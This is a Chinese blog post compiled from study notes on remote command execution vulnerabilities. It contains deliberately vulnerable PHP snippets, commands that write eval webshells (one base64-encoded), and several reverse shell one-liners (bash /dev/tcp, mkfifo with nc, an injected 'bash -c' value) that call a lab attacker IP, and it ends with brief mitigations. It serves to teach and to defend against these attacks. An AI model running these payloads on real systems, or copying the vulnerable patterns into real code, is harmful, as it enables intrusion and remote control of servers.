网络安全
命令执行(RCE)漏洞

本篇整理自我的语雀学习笔记(课堂学习与实操记录),已转为纯文字版并按博客格式排版。
产生原因
开发者没有对 用户传入的参数做严格限制,导致用户传入的内容被拼接到了命令执行函数中,用户可以在服务器上执行任意命令
RCE
- remote command execution 远程命令执行
- remote code execution 远程代码执行
危害:执行系统漏洞
权限:一般情况下,rce 漏洞的权限是web服务进程运行的权限( 如 apache进程权限 wwwdata ) 查看权限的命令
- Linux 查看权限:id
- windows 查看权限:whoami /all 或 whoami /priv
挖掘
黑盒
除了 ctf 、靶场之外,现实中无法通过黑盒挖掘命令执行漏洞,大部分扫描器对于 RCE漏洞都是 只扫描历史漏洞
代码审计
定位命令执行函数
看参数是否可控
PHP 命令执行函数
system
执行系统命令, 自动输出命令执行结果
<?php
$cmd = $_GET['cmd'];
system($cmd);
?>
shell_exec
执行系统命令, 不会自动输出命令执行结果,需要编写echo语句输出
<?php
$cmd = $_GET['cmd'];
echo shell_exec($cmd);
?>
exec
执行系统命令, 不会自动输出命令执行结果,需要编写 echo 语句输出,但只能输出最后一行
<?php
$cmd = $_GET['cmd'];
echo exec($cmd);
?>
docker run -d -p 80:80 -v /home/kali/exec.php:/var/www/html/exec.php php:7.2-apache
head -n 6 /etc/passwd
passthru
执行系统命令,自动输出命令执行结果和 system
<?php
$cmd = $_GET['cmd'];
passthru($cmd);
?>
popen
执行系统命令,不会自动输出命令执行结果,需要把结果导出到文本文件中,再读取文件文件中 保存好的命令执行结果
<?php
$cmd = $_GET['cmd'];
// 执行命令,并把命令执行结果导出到 1.txt 中
popen("$cmd > 1.txt", 'r');
// 读取1.txt文件内容,输出命令执行结果
echo file_get_contents("1.txt");
// 删除1.txt
unlink("1.txt");
?>
反引号 ``
执行系统命令,不会自动输出命令执行结果,需要编写echo语句输出,与shell_exec完全一致
<?php
$cmd = $_GET['cmd'];
echo `$cmd`;
?>
利用
1 命令拼接符
&& 只有前一个命令成功,才执行下一个命令
& 命令1会在前台执行,命令2在后台运行
| 将前一个命令的标准输出作为后一个命令的标准输入
|| 只有前一个命令失败,才执行下一个命令
;无论前一个命令是否成功,都继续执行下一个命令 (windows 不支持)
2 命令执行写 webshell
格式
echo "WEBSHELL的内容" > 文件名.php
Linux :
❌:echo "<?php eval($_POST[cmd]);?>" > han1.php
⚠️ Linux会把$开头的字符当做 shell脚本的变量,Linux shell中不会有 $_POST 变量,所以会被替换为空
✅: echo "<?php eval(\$_POST[cmd]);?>" > han2.php
windows:
echo "<?php eval($_POST[cmd]);?>" > han.php
base64编码写 webshell
1 原本的webshell
<?php eval($_POST[cmd]);?>
2 对webshell进行base64 编码
PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=
3 组合成命令
echo PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4= | base64 -d > han3.php
3 反弹shell
反弹shell(Reverse Shell)和 正向shell(Bind Shell)
⚠️ shell:指windows (cmd、powershell)、linux (sh、bash、zsh、tsh 等)
- 反弹shell:受害者连接攻击者,并向攻击者提供shell
- 正向shell:攻击者连接受害者,并获取受害者的shell
正向shell (nc netcat)
⚠️ 内网渗透中会使用 正向 shell
受害者执行 nc -lvnp 端口 -e shell类型
攻击者执行 nc 受害者IP 端口
攻击者就会获取受害者shell
反弹 shell
方法1:nc 反弹 shell
攻击者开监听 nc -lvnp 端口
受害者连接攻击者的监听,并送上shell nc 攻击者IP 端口 -e shell类型
攻击者收到受害者的shell
⚠️ nc 反弹shell 可能出现的问题
1 受害者的nc可能没有 -e 选项 (以 ubuntu 作为受害者举例,ubuntu 自带的nc没有 -e)
mkfifo 命令
解决方案:替换ubuntu nc 命令为 mkfifo 命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.79.129 758 >/tmp/f
2 受害者没有 nc
方法 2: bash 反弹 shell
原理:
通过让受害者主机主动连接攻击者监听的端口,并将 Bash 的输入输出重定向到该连接,实现远程控制
命令解析:bash -i >& /dev/tcp/192.168.79.129/758 0>&1
bash -i : 启动一个交互式 Bash shell
>& /dev/tcp/192.168.79.129/758 :将输出和报错重定向到 TCP 连接
/dev/tcp/host/port: 是 Bash 内置功能,用于建立 TCP 连接
0>&1:将输入也重定向到与输出相同的文件描述符(即 TCP 连接)
实现双向通信:攻击者输入 传给受害者 再执行输出返回
攻击者开启监听 nc -lvnp 端口
受害者连接攻击者的监听:bash -i >& /dev/tcp/192.168.79.129/758 0>&1
攻击者收到受害者的shell
1 Linux 系统标识
- 0 输入
- 1 输出
- 2 报错
正常情况下,受害者的 0(输入)在键盘上 ,1(输出)、2(报错)在屏幕上
反弹shell 的目标:把受害者的 0、1、2 都重定向到 攻击者上·
2 重定向 0 输入
bash -i 0>/dev/tcp/192.168.79.129/758
解释
bash -i 交互式运行 bash
0> 把输入 重定向
/dev/tcp/IP地址/端口 bash 建立TCP连接的方式,不是Linux 的目录
3 重定向 1 输出
bash -i 1>/dev/tcp/192.168.79.129/758
出现问题,重定向1 和 重定向 0 不能同时执行
4 重定向 2 报错
bash -i 2>/dev/tcp/192.168.79.129/758
bash -i >& /dev/tcp/192.168.79.129/758
5 融合命令
1 融合 1输出 和 2报错 (只保留输出)
bash -i 1>/dev/tcp/192.168.79.129/758
+
bash -i 2>/dev/tcp/192.168.79.129/758
=
bash -i >& /dev/tcp/192.168.79.129/758
2 把 0输入也重定向到 0>/dev/tcp/192.168.79.129/758
bash -i >& /dev/tcp/192.168.79.129/758
- & 标识,代表 1 在哪,1在 /dev/tcp/192.168.79.129/758 位置
bash -i >& /dev/tcp/192.168.79.129/758 0>&1- 0>&1 把0输入重定向到 1(输出) 现在所在的位置
1 bash 反弹shell
攻击者开监听 nc -lvnp 端口
受害者连接攻击者的监听,并送上shell: bash -i >& /dev/tcp/攻击者IP/端口 0>&1
攻击者收到受害者的shell
2 需要嵌套 bash -c 非bash环境使用bash反弹shell
web服务是否使用了 bash,无法确定,需要嵌套 bash -c
1 攻击机 开启监听
2 靶机运行
3 攻击机收到靶机的shell
3 java使用bash反弹shell
java 命令执行的方法:
Runtime.getRuntime.exec("系统命令")
⚠️ Runtime.getRuntime.exec(“系统命令”) 方法无法解析 > ,必须使用 java Runtime 类支持的 base64 编码进行 bash 反弹shell
www.baidu.com;bash -c “bash -i >& /dev/tcp/192.168.79.120/7586 0>&1”
方法 3 (windows)powershell 反弹shell
其他反弹shell的方法:脚本语言反弹shell
⚠️ 前提条件:受害者需要有脚本语言对应的执行环境,且配置了环境变量
python 反弹shell
php 反弹shell
修复
后端限制用户输入的内容格式,如输入ip,就验证用户输入的是不是ip
PHP 自带函数: https://www.php.net/manual/zh/function.escapeshellarg.php
$domain = $_POST['domain'];
$domain = escapeshellarg($_POST['domain']); // 防止命令注入
$output = shell_exec("nslookup $domain");
PHP 配置 disable_functions 禁用函数
你的赏识是我前进的动力

